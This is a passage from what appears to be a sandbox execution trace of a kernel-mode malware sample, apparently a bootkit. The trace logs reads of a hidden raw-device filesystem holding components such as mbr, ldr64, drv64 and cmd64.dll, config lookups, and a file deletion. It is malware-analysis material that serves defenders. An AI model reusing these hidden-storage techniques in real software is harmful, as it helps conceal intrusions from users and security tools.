MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.808] IdePortDispatch () returned 0x103 [0130.808] KeWaitForMutexObject () returned 0x0 [0130.808] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.808] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.809] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.809] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.809] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.809] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.809] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.809] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.809] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.809] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.809] KeLeaveCriticalRegion () [0130.809] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.809] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.809] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.809] KeEnterCriticalRegion () [0130.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.809] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.809] IdePortDispatch () returned 0x103 [0130.809] KeWaitForMutexObject () returned 0x0 [0130.809] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.809] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.809] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.810] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.810] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.810] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.810] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.810] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.810] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.810] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.810] KeLeaveCriticalRegion () [0130.810] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.810] ReleaseMutex (hMutex=0x100) returned 1 [0130.810] Sleep (dwMilliseconds=0x2bf20) [0130.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x71167630, dwHighDateTime=0x1d24fa4)) [0130.818] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.818] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.818] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.818] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.819] KeEnterCriticalRegion () [0130.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.819] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.819] IdePortDispatch () returned 0x103 [0130.819] KeWaitForMutexObject () returned 0x0 [0130.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.819] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.819] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.819] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.819] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.819] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d3a0 [0130.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.819] KeLeaveCriticalRegion () [0130.819] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.819] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.819] KeEnterCriticalRegion () [0130.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.819] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.819] KeLeaveCriticalRegion () [0130.819] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.819] KeEnterCriticalRegion () [0130.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.820] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.820] IdePortDispatch () returned 0x103 [0130.820] KeWaitForMutexObject () returned 0x0 [0130.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.820] KeLeaveCriticalRegion () [0130.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.820] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.820] KeEnterCriticalRegion () [0130.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.820] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c2000 [0130.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.820] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.820] IdePortDispatch () returned 0x103 [0130.820] KeWaitForMutexObject () returned 0x0 [0130.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.821] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.821] IdePortDispatch () returned 0x103 [0130.821] KeWaitForMutexObject () returned 0x0 [0130.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.821] KeLeaveCriticalRegion () [0130.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.821] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.822] KeEnterCriticalRegion () [0130.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.822] KeLeaveCriticalRegion () [0130.822] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.822] KeEnterCriticalRegion () [0130.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.822] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.822] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294fc10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.822] KeLeaveCriticalRegion () [0130.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.822] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.822] KeEnterCriticalRegion () [0130.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.822] ExFreePoolWithTag (P=0xfffffa800294d3a0, Tag=0x0) [0130.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.822] KeLeaveCriticalRegion () [0130.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.822] ReleaseMutex (hMutex=0xf0) returned 1 [0130.822] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.822] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.822] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.822] KeEnterCriticalRegion () [0130.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.822] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.822] IdePortDispatch () returned 0x103 [0130.822] KeWaitForMutexObject () returned 0x0 [0130.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.823] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.823] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.823] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.823] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.823] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294fea0 [0130.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.823] KeLeaveCriticalRegion () [0130.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.823] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.823] KeEnterCriticalRegion () [0130.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.823] KeLeaveCriticalRegion () [0130.823] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.823] KeEnterCriticalRegion () [0130.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.823] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.823] IdePortDispatch () returned 0x103 [0130.823] KeWaitForMutexObject () returned 0x0 [0130.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.825] KeLeaveCriticalRegion () [0130.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.825] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.825] KeEnterCriticalRegion () [0130.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c3000 [0130.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.825] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.825] IdePortDispatch () returned 0x103 [0130.825] KeWaitForMutexObject () returned 0x0 [0130.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.826] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.826] IdePortDispatch () returned 0x103 [0130.826] KeWaitForMutexObject () returned 0x0 [0130.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.826] KeLeaveCriticalRegion () [0130.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.827] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.827] KeEnterCriticalRegion () [0130.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.827] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.827] KeLeaveCriticalRegion () [0130.827] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.827] KeEnterCriticalRegion () [0130.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.827] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.827] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294fd60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.827] KeLeaveCriticalRegion () [0130.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.827] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.827] KeEnterCriticalRegion () [0130.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.827] ExFreePoolWithTag (P=0xfffffa800294fea0, Tag=0x0) [0130.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.827] KeLeaveCriticalRegion () [0130.827] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.827] ReleaseMutex (hMutex=0xf0) returned 1 [0130.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.828] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.828] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.828] KeEnterCriticalRegion () [0130.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.828] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.828] IdePortDispatch () returned 0x103 [0130.828] KeWaitForMutexObject () returned 0x0 [0130.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.828] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.828] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.828] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.828] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.828] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294eec0 [0130.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.828] KeLeaveCriticalRegion () [0130.828] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.828] KeEnterCriticalRegion () [0130.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.828] KeLeaveCriticalRegion () [0130.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.829] KeEnterCriticalRegion () [0130.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.829] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.829] IdePortDispatch () returned 0x103 [0130.829] KeWaitForMutexObject () returned 0x0 [0130.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.829] KeLeaveCriticalRegion () [0130.829] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.829] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.829] KeEnterCriticalRegion () [0130.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c4000 [0130.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.829] IdePortDispatch () returned 0x103 [0130.829] KeWaitForMutexObject () returned 0x0 [0130.830] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.830] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.830] IdePortDispatch () returned 0x103 [0130.830] KeWaitForMutexObject () returned 0x0 [0130.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.830] KeLeaveCriticalRegion () [0130.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, 